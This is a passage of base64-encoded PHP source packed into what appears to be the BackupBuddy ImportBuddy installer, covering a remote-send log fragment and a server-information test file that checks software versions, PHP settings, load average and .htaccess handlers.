G1vZGUuCgkJJGVycm9yID0gJyc7CgkJaWYgKCBpc3NldCggJHJlbW90ZV9zZW5kWydlcnJvciddICkgKSB7CgkJCSRlcnJvciA9ICRyZW1vdGVfc2VuZFsnZXJyb3InXTsKCQl9CgkJJHNlbmRzW10gPSBhcnJheSgKCQkJJ3R5cGUnICAgICAgID0+ICRkZXN0aW5hdGlvbl90eXBlLAoJCQknZmlsZScgICAgICAgPT4gJHJlbW90ZV9zZW5kWydmaWxlJ10sCgkJCSdmYWlsZWQnICAgICA9PiAkZmFpbGVkLCAvLyBib29sIGlmIGZvciBzdXJlIGZhaWxlZC4KCQkJJ3NlbmRfc3BlZWQnID0+ICR3cml0ZV9zcGVlZCwKCQkJJ3N0YXJ0JyAgICAgID0+ICRyZW1vdGVfc2VuZFsnc3RhcnRfdGltZSddLAoJCQknZmluaXNoJyAgICAgPT4gJHJlbW90ZV9zZW5kWydmaW5pc2hfdGltZSddLAoJCQknZHVyYXRpb24nICAgPT4gJGR1cmF0aW9uLAoJCQknbG9nX2ZpbGUnICAgPT4gJGxvZ19maWxlLAoJCQknZXJyb3InICAgICAgPT4gJGVycm9yLAoJCSk7Cgl9Cn0gLy8gRW5kIGZvcmVhY2guCg==
###PACKDATA,FILE_END,/controllers/pages/server_info/_remote_sends.php,importbuddy/controllers/pages/server_info/_remote_sends.php
###PACKDATA,FILE_START,/controllers/pages/server_info/_server_tests.php,importbuddy/controllers/pages/server_info/_server_tests.php
PD9waHAKLyoqCiAqIE9VVFBVVDogcG9wdWxhdGVzICR0ZXN0cy4KICoKICogSU1QT1JUQU5UIE5PVEU6CiAqCiAqIFRoaXMgZmlsZSBpcyBzaGFyZWQgYmV0d2VlbiBtdWx0aXBsZSBwcm9qZWN0cyAvIHB1cnBvc2VzOgogKiAgICsgQmFja3VwQnVkZHkgKHRoaXMgcGx1Z2luKSBTZXJ2ZXIgSW5mbyBwYWdlLgogKiAgICsgSW1wb3J0QnVkZHkucGhwIChCYWNrdXBCdWRkeSBpbXBvcnRlcikgU2VydmVyIEluZm9ybWF0aW9uIGJ1dHRvbiBkcm9wZG93biBkaXNwbGF5LgogKiAgICsgU2VydmVyQnVkZHkgKHBsdWdpbikKICoKICogVXNlIGNhdXRpb24gd2hlbiB1cGRhdGVkIHRvIHByZXZlbnQgYnJlYWtpbmcgb3RoZXIgcHJvamVjdHMuCiAqCiAqIEBwYWNrYWdlICBCYWNrdXBCdWRkeQogKi8KCgovKioKICogR2V0cyBQSFAgSW5mbyBhcyBhbiBBcnJheQogKgogKiBAcGFyYW0gaW50ICRtb2RlICBNb2RlLCBwYXNzZWQgaW50byBwaHBpbmZvKCkuCiAqCiAqIEByZXR1cm4gYXJyYXkgIFBIUCBJbmZvIGNvbnRlbnRzLCBhcnJheSggbG9jYWwsIG1hc3RlciApLgogKi8KZnVuY3Rpb24gcGhwaW5mb19hcnJheSggJG1vZGUgPSAtMSApIHsKCW9iX3N0YXJ0KCk7CglwaHBpbmZvKCAkbW9kZSApOwoJJHMgPSBvYl9nZXRfY29udGVudHMoKTsKCW9iX2VuZF9jbGVhbigpOwoJJGEgPSAkbXRjID0gYXJyYXkoKTsKCWlmICggcHJlZ19tYXRjaF9hbGwoICcvPHRyPjx0ZCBjbGFzcz0iZSI+KC4qPyk8XC90ZD48dGQgY2xhc3M9InYiPiguKj8pPFwvdGQ+KDo/PHRkIGNsYXNzPSJ2Ij4oLio/KTxcL3RkPik/PFwvdHI+LycsICRzLCAkbXRjLCBQUkVHX1NFVF9PUkRFUiApICkgewoJCWZvcmVhY2ggKCAkbXRjIGFzICR2ICkgewoJCQlpZiAoICc8aT5ubyB2YWx1ZTwvaT4nID09ICR2WzJdICkgewoJCQkJY29udGludWU7CgkJCX0KCQkJJG1hc3RlciA9ICcnOwoJCQlpZiAoIGlzc2V0KCAkdlszXSApICkgewoJCQkJJG1hc3RlciA9IHN0cmlwX3RhZ3MoICR2WzNdICk7CgkJCX0KCQkJJGFbICR2WzFdIF0gPSBhcnJheSggJHZbMl0sICRtYXN0ZXIgKTsKCQl9Cgl9CglyZXR1cm4gJGE7Cn0KCgovKioKICogR2V0IG5vcm1hbGl6ZWQgYm9vbGVhbiB2YWx1ZSBmcm9tIGluaV9nZXQoKQogKgogKiBAYXV0aG9yIG5pY29sYXMgZG90IGdyZWthcytwaHAgYXQgZ21haWwgZG90IGNvbQogKgogKiBAcGFyYW0gc3RyaW5nICRhICBpbmlfZ2V0IFBhcmFtZXRlci4KICoKICogQHJldHVybiBib29sICBCb29sZWFuIHZhbHVlLgogKi8KZnVuY3Rpb24gaW5pX2dldF9ib29sKCAkYSApIHsKCSRiID0gaW5pX2dldCggJGEgKTsKCXN3aXRjaCAoIHN0cnRvbG93ZXIoICRiICkgKSB7CgkJY2FzZSAnb24nOgoJCWNhc2UgJ3llcyc6CgkJY2FzZSAndHJ1ZSc6CgkJCXJldHVybiAnYXNzZXJ0LmFjdGl2ZScgIT09ICRhOwoKCQljYXNlICdzdGRvdXQnOgoJCWNhc2UgJ3N0ZGVycic6CgkJCXJldHVybiAnZGlzcGxheV9lcnJvcnMnID09PSAkYTsKCgkJZGVmYXVsdDoKCQkJcmV0dXJuIChib29sKSAoaW50KSAkYjsKCX0KfQoKLyoqCiAqIEdldHMgTG9hZCBhdmVyYWdlCiAqCiAqIEByZXR1cm4gYXJyYXkgIExvYWQgQXZlcmFnZSBhcnJheS4KICovCmZ1bmN0aW9uIHBiX2JhY2t1cGJ1ZGR5X2dldF9sb2FkYXZnKCkgewoJJHJlc3VsdCA9IGFycmF5X2ZpbGwoIDAsIDMsICduL2EnICk7CglpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ3N5c19nZXRsb2FkYXZnJyApICkgewoJCSRsb2FkID0gQHN5c19nZXRsb2FkYXZnKCk7CgkJaWYgKCBpc19hcnJheSggJGxvYWQgKSApIHsKCQkJJGNvdW50ID0gY291bnQoICRsb2FkICk7CgkJCWlmICggMyA9PT0gJGNvdW50ICkgewoJCQkJcmV0dXJuICRsb2FkOwoJCQl9IGVsc2UgewoJCQkJZm9yICggJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKyApIHsKCQkJCQkkcmVzdWx0WyAkaSBdID0gJGxvYWRbICRpIF07CgkJCQl9CgkJCX0KCQl9Cgl9CglpZiAoIHN1YnN0ciggUEhQX09TLCAwLCAzICkgPT0gJ1dJTicgKSB7IC8vIFdJTkRPV1MuCgkJb2Jfc3RhcnQoKTsKCQkkc3RhdHVzID0gbnVsbDsKCQlAcGFzc3RocnUoICd0eXBlcGVyZiAtc2MgMSAiXHByb2Nlc3NvcihfdG90YWwpXCUgcHJvY2Vzc29yIHRpbWUiJywgJHN0YXR1cyApOwoJCSRjb250ZW50ID0gb2JfZ2V0X2NvbnRlbnRzKCk7CgkJb2JfZW5kX2NsZWFuKCk7CgkJaWYgKCAwID09PSAkc3RhdHVzICkgewoJCQlpZiAoIHByZWdfbWF0Y2goICcvXCwiKFswLTldK1wuWzAtOV0rKSIvJywgJGNvbnRlbnQsICRsb2FkICkgKSB7CgkJCQkkcmVzdWx0WzBdID0gbnVtYmVyX2Zvcm1hdF9pMThuKCAkbG9hZFsxXSwgMiApIC4gJyAlJzsKCQkJCSRyZXN1bHRbMV0gPSAnbi9hJzsKCQkJCSRyZXN1bHRbMl0gPSAnbi9hJzsKCQkJCXJldHVybiAkcmVzdWx0OwoJCQl9CgkJfQoJfSBlbHNlIHsKCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ2ZpbGVfZ2V0X2NvbnRlbnRzJyApICYmIEBmaWxlX2V4aXN0cyggJy9wcm9jL2xvYWRhdmcnICkgKSB7CgkJCSRsb2FkID0gZXhwbG9kZSggY2hyKCAzMiApLCBAZmlsZV9nZXRfY29udGVudHMoICcvcHJvYy9sb2FkYXZnJyApICk7CgkJCWlmICggaXNfYXJyYXkoICRsb2FkICkgJiYgKCBjb3VudCggJGxvYWQgKSA+PSAzICkgKSB7CgkJCQkkcmVzdWx0ID0gYXJyYXlfc2xpY2UoICRsb2FkLCAwLCAzICk7CgkJCQlyZXR1cm4gJHJlc3VsdDsKCQkJfQoJCX0KCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ3NoZWxsX2V4ZWMnICkgKSB7CgkJCSRzdHIgPSBzdWJzdHIoIHN0cnJjaHIoIEBzaGVsbF9leGVjKCAndXB0aW1lJyApLCAnOicgKSwgMSApOwoJCQlyZXR1cm4gYXJyYXlfbWFwKCAndHJpbScsIGV4cGxvZGUoICcsJywgJHN0ciApICk7CgkJfQoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KCgokdGVzdHMgPSBhcnJheSgpOwoKCi8vIFNraXAgdGhlc2UgdGVzdHMgaW4gaW1wb3J0YnVkZHkuCmlmICggISBkZWZpbmVkKCAnUEJfSU1QT1JUQlVERFknICkgKSB7CgoJLy8gQkFDS1VQQlVERFkgVkVSU0lPTi4KCSRsYXRlc3RfdmVyc2lvbiA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmRldGVybWluZUxhdGVzdFZlcnNpb24oIHRydWUgKTsKCWlmICggZmFsc2UgPT09ICRsYXRlc3RfdmVyc2lvbiApIHsKCQkkc3VnZ2VzdGlvbl90ZXh0ICAgICAgICAgICAgICAgICAgICAgPSAnW2luZm9ybWF0aW9uIHVuYXZhaWxhYmxlXSc7CgkJJGxhdGVzdF9iYWNrdXBidWRkeV9ub25taW5vcl92ZXJzaW9uID0gMDsKCX0gZWxzZSB7CgkJJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uICAgICAgICAgID0gJGxhdGVzdF92ZXJzaW9uWzBdOwoJCSRsYXRlc3RfYmFja3VwYnVkZHlfbm9ubWlub3JfdmVyc2lvbiA9ICRsYXRlc3RfdmVyc2lvblsxXTsKCgkJJHN1Z2dlc3Rpb25fdGV4dCA9ICRsYXRlc3RfYmFja3VwYnVkZHlfbm9ubWlub3JfdmVyc2lvbjsKCQlpZiAoIHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3ZlcnNpb24nICkgPT0gJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uICkgeyAvLyBBdCBhYnNvbHV0ZSBsYXRlc3QgaW5jbHVkaW5nIG1pbm9yLgoJCQkkc3VnZ2VzdGlvbl90ZXh0IC49ICcgKG1ham9yIHZlcnNpb24pIG9yICcgLiAkbGF0ZXN0X2JhY2t1cGJ1ZGR5X3ZlcnNpb24gLiAnICg8YSBocmVmPSJvcHRpb25zLWdlbmVyYWwucGhwP3BhZ2U9aXRoZW1lcy1saWNlbnNpbmciIHRpdGxlPSJZb3UgbWF5IGVuYWJsZSB1cGdyYWRpbmcgdG8gdGhlIHF1aWNrIHJlbGVhc2UgdmVyc2lvbiBvbiB0aGUgaVRoZW1lcyBMaWNlbnNpbmcgcGFnZS4iPnF1aWNrIHJlbGVhc2U8L2E+KSc7CgkJfSBlbHNlaWYgKCAkbGF0ZXN0X2JhY2t1cGJ1ZGR5X25vbm1pbm9yX3ZlcnNpb24gIT0gJGxhdGVzdF9iYWNrdXBidWRkeV92ZXJzaW9uICkgeyAvLyBNaW5vciB2ZXJzaW9uIGF2YWlsYWJsZSB0aGF0IGlzIG5ld2VyIHRoYW4gbGF0ZXN0IG1ham9yLgoJCQkkc3VnZ2VzdGlvbl90ZXh0IC49ICcgKG1ham9yIHZlcnNpb24pIG9yICcgLiAkbGF0ZXN0X2JhY2t1cGJ1ZGR5X3ZlcnNpb24gLiAnICg8YSBocmVmPSJwbHVnaW5zLnBocD9pdGhlbWVzLXVwZGF0ZXItZm9yY2UtbWlub3ItdXBkYXRlPTEiIHRpdGxlPSJZb3UgbWF5IGVuYWJsZSB1cGdyYWRpbmcgdG8gdGhlIHF1aWNrIHJlbGVhc2UgdmVyc2lvbiBvbiB0aGUgaVRoZW1lcyBMaWNlbnNpbmcgcGFnZS4iPnF1aWNrIHJlbGVhc2UgdmVyc2lvbjwvYT47IDxhIGhyZWY9Im9wdGlvbnMtZ2VuZXJhbC5waHA/cGFnZT1pdGhlbWVzLWxpY2Vuc2luZyIgdGl0bGU9Ik9uY2UgeW91IGhhdmUgbGljZW5zZWQgQmFja3VwQnVkZHkgeW91IG1heSBzZWxlY3QgdGhpcyB0byBnbyB0byB0aGUgUGx1Z2lucyBwYWdlIHRvIHVwZ3JhZGUgdG8gdGhlIGxhdGVzdCBxdWljayByZWxlYXNlIHZlcnNpb24uIFR5cGljYWxseSBvbmx5IHRoZSBtYWluIG1ham9yIHZlcnNpb25zIGFyZSBhdmFpbGFibGUgZm9yIGF1dG9tYXRpYyB1cGRhdGVzIGJ1dCB0aGlzIG9wdGlvbiBpbnN0cnVjdHMgdGhlIHVwZGF0ZXIgdG8gZGlzcGxheSBtaW5vciB2ZXJzaW9uIHVwZGF0ZXMgZm9yIGFwcHJveGltYXRlbHkgb25lIGhvdXIuIElmIGl0IGRvZXMgbm90IGltbWVkaWF0ZWx5IGJlY29tZSBhdmFpbGFibGUgb24gdGhlIFBsdWdpbnMgcGFnZSwgdHJ5IHJlZnJlc2hpbmcgYSBjb3VwbGUgb2YgdGltZXMuIj5xdWljayByZWxlYXNlIHNldHRpbmdzPC9hPiknOwoJCX0gZWxzZSB7CgkJCSRzdWdnZXN0aW9uX3RleHQgLj0gJyAobGF0ZXN0KSc7CgkJfQoJfQoKCSR2ZXJzaW9uX3N0cmluZyA9IHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3ZlcnNpb24nICk7CgkvLyBJZiBvbiBERVYgc3lzdGVtICguZ2l0IGRpciBleGlzdHMpIHRoZW4gYXBwZW5kIHNvbWUgZGV0YWlscyBvbiBjdXJyZW50LgoJaWYgKCBAZmlsZV9leGlzdHMoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy8uZ2l0L2xvZ3MvSEVBRCcgKSApIHsKCQkkY29tbWl0X2xvZyAgICAgID0gZXNjYXBlc2hlbGxhcmcoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy8uZ2l0L2xvZ3MvSEVBRCcgKTsKCQkkY29tbWl0X2xpbmUgICAgID0gc3RyX3JlcGxhY2UoICdcJycsICdgJywgZXhlYyggInRhaWwgLW4gMSB7JGNvbW1pdF9sb2d9IiApICk7CgkJJHZlcnNpb25fc3RyaW5nIC49ICcgPHNwYW4gc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyBtYXgtd2lkdGg6IDI1MHB4OyBmb250LXNpemU6IDhweDsgbGluZS1oZWlnaHQ6MS4yNTsiPltERVY6ICcgLiAkY29tbWl0X2xpbmUgLiAnXTwvc3Bhbj4nOwoJfQoJJHBhcmVudF9jbGFzc190ZXN0ID0gYXJyYXkoCgkJJ3RpdGxlJyAgICAgID0+ICdCYWNrdXBCdWRkeSBWZXJzaW9uJywKCQknc3VnZ2VzdGlvbicgPT4gJHN1Z2dlc3Rpb25fdGV4dCwKCQkndmFsdWUnICAgICAgPT4gJHZlcnNpb25fc3RyaW5nLAoJCSd0aXAnICAgICAgICA9PiBfXyggJ1ZlcnNpb24gb2YgQmFja3VwQnVkZHkgY3VycmVudGx5IHJ1bm5pbmcgb24gdGhpcyBzaXRlLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJKTsKCWlmICggdmVyc2lvbl9jb21wYXJlKCBwYl9iYWNrdXBidWRkeTo6c2V0dGluZ3MoICd2ZXJzaW9uJyApLCAkbGF0ZXN0X2JhY2t1cGJ1ZGR5X25vbm1pbm9yX3ZlcnNpb24sICc8JyApICkgewoJCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnV0FSTklORyc7Cgl9IGVsc2UgewoJCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnT0snOwoJfQoJYXJyYXlfcHVzaCggJHRlc3RzLCAkcGFyZW50X2NsYXNzX3Rlc3QgKTsKCgkvLyBXb3JkUHJlc3MgVkVSU0lPTi4KCWdsb2JhbCAkd3BfdmVyc2lvbjsKCSRwYXJlbnRfY2xhc3NfdGVzdCA9IGFycmF5KAoJCSd0aXRsZScgICAgICA9PiAnV29yZFByZXNzIFZlcnNpb24nLAoJCSdzdWdnZXN0aW9uJyA9PiAnPj0gJyAuIHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3dwX21pbmltdW0nICkgLiAnIChsYXRlc3QgYmVzdCknLAoJCSd2YWx1ZScgICAgICA9PiAkd3BfdmVyc2lvbiwKCQkndGlwJyAgICAgICAgPT4gX18oICdWZXJzaW9uIG9mIFdvcmRQcmVzcyBjdXJyZW50bHkgcnVubmluZy4gSXQgaXMgaW1wb3J0YW50IHRvIGtlZXAgeW91ciBXb3JkUHJlc3MgdXAgdG8gZGF0ZSBmb3Igc2VjdXJpdHkgJiBmZWF0dXJlcy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCSk7CglpZiAoIHZlcnNpb25fY29tcGFyZSggJHdwX3ZlcnNpb24sIHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3dwX21pbmltdW0nICksICc8PScgKSApIHsKCQkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ0ZBSUwnOwoJfSBlbHNlIHsKCQkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKCX0KCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgoJLy8gTXlTUUwgVkVSU0lPTi4KCWdsb2JhbCAkd3BkYjsKCgkkbXlzcWxfdmVyc2lvbiAgICAgPSAkd3BkYi0+ZGJfdmVyc2lvbigpOwoJJHBhcmVudF9jbGFzc190ZXN0ID0gYXJyYXkoCgkJJ3RpdGxlJyAgICAgID0+IF9fKCAnTXlTUUwgVmVyc2lvbicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCSdzdWdnZXN0aW9uJyA9PiBfXyggJz49IDUuNi4wIChXb3JkUHJlc3MgcmVjb21tZW5kcyA1LjYrKScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCSd2YWx1ZScgICAgICA9PiBQQl9CYWNrdXBidWRkeV9EQl9IZWxwZXJzOjppc19tYXJpYV9kYigpID8gJ24vYScgOiAkbXlzcWxfdmVyc2lvbiwKCQkndGlwJyAgICAgICAgPT4gX18oICdWZXJzaW9uIG9mIHlvdXIgZGF0YWJhc2Ugc2VydmVyIChteXNxbCkgYXMgcmVwb3J0ZWQgdG8gdGhpcyBzY3JpcHQgYnkgV29yZFByZXNzLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJKTsKCgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKCglpZiAoIGZhbHNlID09PSBQQl9CYWNrdXBidWRkeV9EQl9IZWxwZXJzOjppc19tYXJpYV9kYigpICkgewoJCWlmICggdmVyc2lvbl9jb21wYXJlKCAkbXlzcWxfdmVyc2lvbiwgJzUuMC4xNScsICc8PScgKSApIHsKCQkJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdGQUlMJzsKCQl9IGVsc2VpZiAoIHZlcnNpb25fY29tcGFyZSggJG15c3FsX3ZlcnNpb24sICc1LjYuMCcsICc8PScgKSApIHsKCQkJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdXQVJOSU5HJzsKCQl9Cgl9CgoJYXJyYXlfcHVzaCggJHRlc3RzLCAkcGFyZW50X2NsYXNzX3Rlc3QgKTsKCgkvLyBNYXJpYURCIFZlcnNpb24uCgkkbWFyaWFfZGJfdmVyc2lvbiAgPSBQQl9CYWNrdXBidWRkeV9EQl9IZWxwZXJzOjpnZXRfZGJfdmVyc2lvbigpOwoJJHBhcmVudF9jbGFzc190ZXN0ID0gYXJyYXkoCgkJJ3RpdGxlJyAgICAgID0+IF9fKCAnTWFyaWFEQiBWZXJzaW9uJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkJJ3N1Z2dlc3Rpb24nID0+IF9fKCAnPj0gMTAuMC4xMCAoV29yZFByZXNzIHJlY29tbWVuZHMgMTAuMCspJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkJJ3ZhbHVlJyAgICAgID0+IFBCX0JhY2t1cGJ1ZGR5X0RCX0hlbHBlcnM6OmlzX21hcmlhX2RiKCkgPyAkbWFyaWFfZGJfdmVyc2lvbiA6ICduL2EnLAoJCSd0aXAnICAgICAgICA9PiBfXyggJ1ZlcnNpb24gb2YgeW91ciBkYXRhYmFzZSBzZXJ2ZXIgKG1hcmlhZGIpIGFzIHJlcG9ydGVkIHRvIHRoaXMgc2NyaXB0IGJ5IFdvcmRQcmVzcy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCSk7CgoJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdPSyc7CgoJaWYgKCB0cnVlID09PSBQQl9CYWNrdXBidWRkeV9EQl9IZWxwZXJzOjppc19tYXJpYV9kYigpICkgewoJCWlmICggdmVyc2lvbl9jb21wYXJlKCAkbWFyaWFfZGJfdmVyc2lvbiwgJzEwLjAuMCcsICc8JyApICkgewoJCQkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ0ZBSUwnOwoJCX0gZWxzZWlmICggdmVyc2lvbl9jb21wYXJlKCAkbWFyaWFfZGJfdmVyc2lvbiwgJzEwLjAuMTAnLCAnPCcgKSApIHsKCQkJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdXQVJOSU5HJzsKCQl9Cgl9CgoJYXJyYXlfcHVzaCggJHRlc3RzLCAkcGFyZW50X2NsYXNzX3Rlc3QgKTsKCgkvLyBBRERIQU5ETEVSIEhUQUNDRVNTIENIRUNLLgoJJHBhcmVudF9jbGFzc190ZXN0ID0gYXJyYXkoCgkJJ3RpdGxlJyAgICAgID0+ICdBZGRIYW5kbGVyIGluIC5odGFjY2VzcycsCgkJJ3N1Z2dlc3Rpb24nID0+ICdob3N0IGRlcGVuZGFudCAobm9uZSBiZXN0IHVubGVzcyByZXF1aXJlZCknLAoJCSd0aXAnICAgICAgICA9PiBfXyggJ0lmIGRldGVjdGVkIHRoZW4geW91IG1heSBoYXZlIGRpZmZpY3VsdHkgbWlncmF0aW5nIHlvdXIgc2l0ZSB0byBzb21lIGhvc3RzIHdpdGhvdXQgZmlyc3QgcmVtb3ZpbmcgdGhlIEFkZEhhbmRsZXIgbGluZS4gU29tZSBob3N0cyB3aWxsIG1hbGZ1bmN0aW9uIHdpdGggdGhpcyBsaW5lIGluIHRoZSAuaHRhY2Nlc3MgZmlsZS4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCSk7CglpZiAoIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJy5odGFjY2VzcycgKSApIHsKCQkkYWRkaGFuZGxlcl9ub3RlID0gJyc7CgkJJGh0YWNjZXNzX2xpbmVzICA9IGZpbGUoIEFCU1BBVEggLiAnLmh0YWNjZXNzJyApOwoJCWZvcmVhY2ggKCAkaHRhY2Nlc3NfbGluZXMgYXMgJGh0YWNjZXNzX2xpbmUgKSB7CgkJCWlmICggcHJlZ19tYXRjaCggJy9eKFxzKilBZGRIYW5kbGVyKC4qKS9pJywgJGh0YWNjZXNzX2xpbmUsICRtYXRjaGVzICkgPiAwICkgewoJCQkJJGFkZGhhbmRsZXJfbm90ZSA9IHBiX2JhY2t1cGJ1ZGR5Ojp0aXAoIGh0bWxlbnRpdGllcyggJG1hdGNoZXNbMF0gKSwgX18oICdBZGRIYW5kbGVyIFZhbHVlJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksIGZhbHNlICk7CgkJCX0KCQl9CgkJdW5zZXQoICRodGFjY2Vzc19saW5lcyApOwoKCQlpZiAoICcnID09ICRhZGRoYW5kbGVyX25vdGUgKSB7CgkJCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnT0snOwoJCQkkcGFyZW50X2NsYXNzX3Rlc3RbJ3ZhbHVlJ10gID0gX18oICdub25lLCBuL2EnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCQl9IGVsc2UgewoJCQkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ1dBUk5JTkcnOwoJCQkkcGFyZW50X2NsYXNzX3Rlc3RbJ3ZhbHVlJ10gID0gX18oICdleGlzdHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRhZGRoYW5kbGVyX25vdGU7CgkJfQoJCXVuc2V0KCAkaHRhY2Nlc3NfY29udGVudHMgKTsKCX0gZWxzZSB7CgkJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdPSyc7CgkJJHBhcmVudF9jbGFzc190ZXN0Wyd2YWx1ZSddICA9IF9fKCAnbi9hJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7Cgl9CglhcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKCgkvLyBTZXQgdXAgWmlwQnVkZHkgd2hlbiB3aXRoaW4gQmFja3VwQnVkZHkuCglyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi96aXBidWRkeS96aXBidWRkeS5waHAnOwoJcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWyd6aXBidWRkeSddID0gbmV3IHBsdWdpbmJ1ZGR5X3ppcGJ1ZGR5KCBiYWNrdXBidWRkeV9jb3JlOjpnZXRCYWNrdXBEaXJlY3RvcnkoKSApOwoKCXJlcXVpcmVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL215c3FsYnVkZHkvbXlzcWxidWRkeS5waHAnOwoJZ2xvYmFsICR3cGRiOwoJcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWydteXNxbGJ1ZGR5J10gPSBuZXcgcGJfYmFja3VwYnVkZHlfbXlzcWxidWRkeSggREJfSE9TVCwgREJfTkFNRSwgREJfVVNFUiwgREJfUEFTU1dPUkQsICR3cGRiLT5wcmVmaXggKTsKfQoKCi8vIFBIUCBWRVJTSU9OLgppZiAoICEgZGVmaW5lZCggJ3BsdWdpbmJ1ZGR5X2ltcG9ydGJ1ZGR5JyApICkgewoJJHBocF9taW5pbXVtID0gJzUuMyc7Cn0gZWxzZSB7IC8vIGltcG9ydGJ1ZGR5IHZhbHVlLgoJJHBocF9taW5pbXVtID0gcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAncGhwX21pbmltdW0nICk7Cn0KJHBhcmVudF9jbGFzc190ZXN0ID0gYXJyYXkoCgkndGl0bGUnICAgICAgPT4gJ1BIUCBWZXJzaW9uJywKCSdzdWdnZXN0aW9uJyA9PiAnPj0gJyAuICRwaHBfbWluaW11bSAuICcgKFdvcmRQcmVzcyByZWNvbW1lbmRzIDcuMCspJywKCSd2YWx1ZScgICAgICA9PiBwaHB2ZXJzaW9uKCksCgkndGlwJyAgICAgICAgPT4gX18oICdWZXJzaW9uIG9mIFBIUCBjdXJyZW50bHkgcnVubmluZyBvbiB0aGlzIHNpdGUuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCik7CmlmICggdmVyc2lvbl9jb21wYXJlKCBQSFBfVkVSU0lPTiwgJHBocF9taW5pbXVtLCAnPD0nICkgKSB7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ0ZBSUwnOwp9IGVsc2VpZiAoIHZlcnNpb25fY29tcGFyZSggUEhQX1ZFUlNJT04sICc1LjYnLCAnPD0nICkgKSB7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ1dBUk5JTkcnOwp9IGVsc2UgewoJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdPSyc7Cn0KYXJyYXlfcHVzaCggJHRlc3RzLCAkcGFyZW50X2NsYXNzX3Rlc3QgKTsKCgovLyBQSFAgbWF4X2V4ZWN1dGlvbl90aW1lLgokcGFyZW50X2NsYXNzX3Rlc3QgPSBhcnJheSgKCSd0aXRsZScgICAgICA9PiAnUEhQIG1heF9leGVjdXRpb25fdGltZSAoc2VydmVyLXJlcG9ydGVkKScsCgknc3VnZ2VzdGlvbicgPT4gJz49IDMwIHNlY29uZHMgKDMwKyBiZXN0KScsCgkndmFsdWUnICAgICAgPT4gaW5pX2dldCggJ21heF9leGVjdXRpb25fdGltZScgKSwKCSd0aXAnICAgICAgICA9PiBfXyggJ01heGltdW0gYW1vdW50IG9mIHRpbWUgdGhhdCBQSFAgYWxsb3dzIHNjcmlwdHMgdG8gcnVuLiBBZnRlciB0aGlzIGxpbWl0IGlzIHJlYWNoZWQgdGhlIHNjcmlwdCBpcyBraWxsZWQuIFRoZSBtb3JlIHRpbWUgYXZhaWxhYmxlIHRoZSBiZXR0ZXIuIDMwIHNlY29uZHMgaXMgbW9zdCBjb21tb24gdGhvdWdoIDYwIHNlY29uZHMgaXMgaWRlYWwuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCik7CmlmICggc3RyX2lyZXBsYWNlKCAncycsICcnLCBpbmlfZ2V0KCAnbWF4X2V4ZWN1dGlvbl90aW1lJyApICkgPCAzMCApIHsKCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnV0FSTklORyc7Cn0gZWxzZSB7C